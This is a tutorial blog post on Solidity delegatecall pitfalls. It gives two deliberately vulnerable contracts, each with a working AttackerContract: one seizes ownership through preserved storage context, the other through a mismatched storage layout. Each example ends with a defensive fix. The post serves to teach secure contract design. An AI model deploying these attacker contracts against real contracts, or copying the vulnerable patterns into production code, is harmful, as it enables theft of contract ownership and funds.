Solidity’s delegatecall is a tricky one. It isn’t necessarily a vulnerability but if used incorrectly can cause contracts to become vulnerable.
Two things to note when using the delegatecall function.
- It will preserve the context (storage, caller, etc…)
- The layout of the storage variables must be the same for the contract calling delegatecall and the contract getting called.
Code – https://github.com/derekarends/solidity-vulnerabilities/tree/main/delegatecall
Demo – https://youtu.be/pkVzTsUqV2E
Vulnerable Storage
The following example demonstrates how a contract using an external library with state can become vulnerable to an attack.
pragma solidity >=0.7.0 <0.9.0; /// A Library used to hold ownership contract Lib { address public owner; /// Take ownership of the Lib contract function takeOwnership() public { owner = msg.sender; } } /// A contract vulnerable to delegatecall allowing an attacker to take ownership contract VulnerableContract { address public owner; Lib public lib; constructor(Lib _lib) { owner = msg.sender; lib = Lib(_lib); } fallback() external payable { // This will pass the context of the msg.sender and storage variables to the Lib contract (bool result, ) = address(lib).delegatecall(msg.data); require(result, "Lib call failed"); } } /// Used to exploit the delegatecall VulnerableContract has and use it to take ownership contract AttackerContract { address public vulnerableContract; constructor(address _vulnerableContract) { vulnerableContract = _vulnerableContract; } /// Attack the vulnerable contract to take ownership function attack() public { // By calling the vulnerable contract with an function that doesn't exist, // it will call the fallback with this data and this contract will become owner (bool result, ) = vulnerableContract.call(abi.encodeWithSignature("takeOwnership()")); require(result, "Failed to take ownership"); } }
At first glance it looks like this would set the owner of the Lib contract, however, because delegatecall passes along the context of the calling contract it will actually be setting the owner of the vulnerable contract instead of the Lib’s owner.
An attacker can take advantage of this by making a call to the vulnerable contract using msg.data to pass in the exploit.
In this scenario the attacker will send in the name of the function they want to be executed on the delegatedcall’s contract – “takeOwnership()” – to take ownership of the vulnerable contract.
One solution to this problem is to only use stateless libraries.
Vulnerable State Variables
We have seen how the storage being passed along can be a problem, now for a little more interesting scenario, where the storage variables are not in the same order can be a problem.
pragma solidity >=0.7.0 <0.9.0; /// A Library used to hold ownership contract Lib { uint256 public score; function setScore(uint256 _score) public { score = _score; } } /// Contract that is vulnerable to delegatecall allowing an attacker contract to take ownership contract VulnerableContract { address public lib; address public owner; uint256 public score; constructor(address _lib) { lib = _lib; owner = msg.sender; } function setScore(uint256 _score) public { (bool res, ) = lib.delegatecall(abi.encodeWithSignature("setScore(uint256)", _score)); require(res, "Failed to delegatecall to lib"); } } /// Used to exploit the delegatecall VulnerableContract has and use it to take ownership contract AttackerContract { // Make sure the storage layout is the same as VulnerableContract // This will allow us to correctly update the state variables address public lib; address public owner; uint public score; VulnerableContract public vulnerableContract; constructor(VulnerableContract _vulnerableContract) { vulnerableContract = VulnerableContract(_vulnerableContract); } function attack() public { // override address of the Vulnerable's lib address vulnerableContract.setScore(uint256(uint160(address(this)))); // Because previous line overrides lib address to this contract // passing any number as input will call this contract's function setScore(uint256) vulnerableContract.setScore(1); } // function signature must match VulnerableContract.setScore(uint256) function setScore(uint256 _score) public { // This is will take ownership of the VulnerableContract owner = msg.sender; } }
In this scenario the lib contact has the score as the first variable in storage but the vulnerable contract has the lib’s address as the first variable.
The way Ethereum stores state variables is by putting the first variable of the contract in slot 0 and the second variable in slot 1 and so on… This is why it is important for the layout order of storage variables to match between the contract and the delegatecall’s contract.
Since these variables do not match up, it allows an attacker to change the lib’s address on the vulnerable contract and then set the owner to be the attacker contract.
In this scenario the attacker will call the setScore function passing in the address of the attacker contract, once the attacker has done that the contract will call setScore again but since the lib address now points to the attacker contract it will call the setScore on the attacker contract setting the vulnerable contract’s owner.
The solution here is to make sure you pay close attention to the layout of your variables when using delegatecall.